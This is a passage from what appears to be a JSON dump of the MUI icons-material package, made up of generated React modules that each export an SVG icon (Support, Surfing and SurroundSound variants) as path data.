    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.22C21 6.73 16.74 3 12 3c-4.69 0-9 3.65-9 9.28-.6.34-1 .98-1 1.72v2c0 1.1.9 2 2 2h1v-6.1c0-3.87 3.13-7 7-7s7 3.13 7 7V19h-8v2h8c1.1 0 2-.9 2-2v-1.22c.59-.31 1-.92 1-1.64v-2.3c0-.7-.41-1.31-1-1.62\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"13\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"13\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 11.03C17.52 8.18 15.04 6 12.05 6c-3.03 0-6.29 2.51-6.03 6.45 2.47-1.01 4.33-3.21 4.86-5.89 1.31 2.63 4 4.44 7.12 4.47\"\n}, \"3\")], 'SupportAgentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'SupportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'SupportOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'SupportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'SupportRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'SupportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m7.46 7.12-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94l1.15-2.78c2.1.8 3.77 2.47 4.58 4.57M12 15c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3M9.13 4.54l1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59M4.54 14.87l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96l-1.17 2.78c-2.1-.81-3.77-2.48-4.58-4.59m10.34 4.59-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}), 'SupportSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.3 7.32 9.13 4.54c-2.11.81-3.78 2.48-4.59 4.59l2.78 1.15c.51-1.38 1.6-2.46 2.98-2.96m-2.98 6.4-2.78 1.15c.81 2.1 2.48 3.78 4.59 4.59l1.17-2.78c-1.39-.5-2.47-1.59-2.98-2.96m9.35-3.45 2.78-1.15c-.81-2.1-2.48-3.77-4.58-4.58l-1.15 2.78c1.37.51 2.45 1.58 2.95 2.95m.01 3.44c-.5 1.37-1.58 2.46-2.95 2.97l1.15 2.78c2.1-.81 3.77-2.48 4.58-4.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.87 2.54c2.1.81 3.77 2.48 4.58 4.58l-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94zm-5.74 0 1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59m0 14.92c-2.1-.81-3.78-2.48-4.59-4.59l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96zM9 12c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3-3-1.34-3-3m5.88 7.46-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}, \"1\")], 'SupportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SupportTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.3 7.32 9.13 4.54c-2.11.81-3.78 2.48-4.59 4.59l2.78 1.15c.51-1.38 1.6-2.46 2.98-2.96m-2.98 6.4-2.78 1.15c.81 2.1 2.48 3.78 4.59 4.59l1.17-2.78c-1.39-.5-2.47-1.59-2.98-2.96m9.35-3.45 2.78-1.15c-.81-2.1-2.48-3.77-4.58-4.58l-1.15 2.78c1.37.51 2.45 1.58 2.95 2.95m.01 3.44c-.5 1.37-1.58 2.46-2.95 2.97l1.15 2.78c2.1-.81 3.77-2.48 4.58-4.58z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m2.87 2.54c2.1.81 3.77 2.48 4.58 4.58l-2.78 1.15c-.51-1.36-1.58-2.44-2.95-2.94zm-5.74 0 1.17 2.78c-1.38.5-2.47 1.59-2.98 2.97L4.54 9.13c.81-2.11 2.48-3.78 4.59-4.59m0 14.92c-2.1-.81-3.78-2.48-4.59-4.59l2.78-1.15c.51 1.38 1.59 2.46 2.97 2.96zM9 12c0-1.66 1.34-3 3-3s3 1.34 3 3-1.34 3-3 3-3-1.34-3-3m5.88 7.46-1.15-2.78c1.37-.51 2.45-1.59 2.95-2.97l2.78 1.17c-.81 2.1-2.48 3.77-4.58 4.58\"\n}, \"1\")], 'SupportTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Surfing.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.53-3.1c-.11-.67.18-1.38.78-1.79l2.15-1.45-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'Surfing');"
  },
  {
    "path": "packages/mui-icons-material/lib/Surfing.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.53-3.1c-.11-.67.18-1.38.78-1.79l2.15-1.45-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'Surfing');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.53-3.1c-.11-.67.18-1.38.78-1.79l2.15-1.45-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'SurfingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.53-3.1c-.11-.67.18-1.38.78-1.79l2.15-1.45-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'SurfingOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M22 22c0 .55-.45 1-1 1-1.03 0-2.05-.25-3-.75-1.92 1.02-4.18 1-6.09-.05-1.79.87-3.92.98-5.58-.14C5.3 22.69 4.15 23 3 23c-.55 0-1-.45-1-1s.45-1 1-1c.87 0 1.73-.24 2.53-.7.29-.16.65-.17.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 .8.46 1.66.7 2.53.7.55 0 1 .45 1 1M8.04 18.86c.31.09.63.14.96.14.9 0 1.72-.37 2.39-.91.35-.28.87-.28 1.22 0 .67.54 1.49.91 2.39.91s1.72-.37 2.39-.91c.03-.03.07-.05.11-.07-.46-.39-.97-.79-1.5-1.17v-2.87c0-.61-.28-1.19-.77-1.57L12.17 10l2.25-1.52c1.03 1.79 2.82 3.08 4.93 3.43.6.1 1.14-.39 1.14-1 0-.49-.36-.9-.84-.98-1.5-.25-2.78-1.18-3.51-2.46l-.88-1.55c-.29-.52-.77-.8-1.22-.89l-4.73-.88c-.52-.1-1.06.02-1.5.32L5.82 5.83c-.45.32-.57.94-.26 1.39.32.46.94.58 1.4.27l1.99-1.37 2 .37L8.8 7.94c-.6.41-.89 1.12-.77 1.79l.52 3.1c-1.42-.52-2.72-.83-3.7-.83-.84 0-1.85.25-1.85 1.28 0 1.44 2.19 3.62 5.04 5.58M14 14v1.5c-.78-.48-2.34-1.33-3.26-1.75l-.44-2.65z\"\n}), 'SurfingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2M22 22c0 .55-.45 1-1 1-1.03 0-2.05-.25-3-.75-1.92 1.02-4.18 1-6.09-.05-1.79.87-3.92.98-5.58-.14C5.3 22.69 4.15 23 3 23c-.55 0-1-.45-1-1s.45-1 1-1c.87 0 1.73-.24 2.53-.7.29-.16.65-.17.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 1.59.9 3.48.9 5.06 0 .29-.16.65-.16.94 0 .8.46 1.66.7 2.53.7.55 0 1 .45 1 1M8.04 18.86c.31.09.63.14.96.14.9 0 1.72-.37 2.39-.91.35-.28.87-.28 1.22 0 .67.54 1.49.91 2.39.91s1.72-.37 2.39-.91c.03-.03.07-.05.11-.07-.46-.39-.97-.79-1.5-1.17v-2.87c0-.61-.28-1.19-.77-1.57L12.17 10l2.25-1.52c1.03 1.79 2.82 3.08 4.93 3.43.6.1 1.14-.39 1.14-1 0-.49-.36-.9-.84-.98-1.5-.25-2.78-1.18-3.51-2.46l-.88-1.55c-.29-.52-.77-.8-1.22-.89l-4.73-.88c-.52-.1-1.06.02-1.5.32L5.82 5.83c-.45.32-.57.94-.26 1.39.32.46.94.58 1.4.27l1.99-1.37 2 .37L8.8 7.94c-.6.41-.89 1.12-.77 1.79l.52 3.1c-1.42-.52-2.72-.83-3.7-.83-.84 0-1.85.25-1.85 1.28 0 1.44 2.19 3.62 5.04 5.58M14 14v1.5c-.78-.48-2.34-1.33-3.26-1.75l-.44-2.65z\"\n}), 'SurfingRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.72-4.24 3.12-2.1-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'SurfingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.72-4.24 3.12-2.1-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'SurfingSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.53-3.1c-.11-.67.18-1.38.78-1.79l2.15-1.45-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'SurfingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurfingTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 23c-1.03 0-2.06-.25-3-.75-1.89 1-4.11 1-6 0-1.89 1-4.11 1-6 0-.95.5-1.97.75-3 .75H2v-2h1c1.04 0 2.08-.35 3-1 1.83 1.3 4.17 1.3 6 0 1.83 1.3 4.17 1.3 6 0 .91.65 1.96 1 3 1h1v2zM17 1.5c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-2.57 6.98L12.18 10 16 13v3.84c.53.38 1.03.78 1.49 1.17-.68.58-1.55.99-2.49.99-1.2 0-2.27-.66-3-1.5-.73.84-1.8 1.5-3 1.5-.33 0-.65-.05-.96-.14C5.19 16.9 3 14.72 3 13.28 3 12.25 4.01 12 4.85 12c.98 0 2.28.31 3.7.83l-.53-3.1c-.11-.67.18-1.38.78-1.79l2.15-1.45-2-.37-2.82 1.93L5 6.4 8.5 4l5.55 1.03c.45.09.93.37 1.22.89l.88 1.55C17.01 8.98 18.64 10 20.5 10v2c-2.59 0-4.86-1.42-6.07-3.52M10.3 11.1l.44 2.65c.92.42 2.48 1.27 3.26 1.75V14z\"\n}), 'SurfingTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SurroundSound.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7.76 16.24l-1.41 1.41C4.78 16.1 4 14.05 4 12s.78-4.1 2.34-5.66l1.41 1.41C6.59 8.93 6 10.46 6 12s.59 3.07 1.76 4.24M12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4m5.66 1.66-1.41-1.41C17.41 15.07 18 13.54 18 12s-.59-3.07-1.76-4.24l1.41-1.41C19.22 7.9 20 9.95 20 12s-.78 4.1-2.34 5.66M12 10c-1.1 0-2 .9-2 2s.9 2 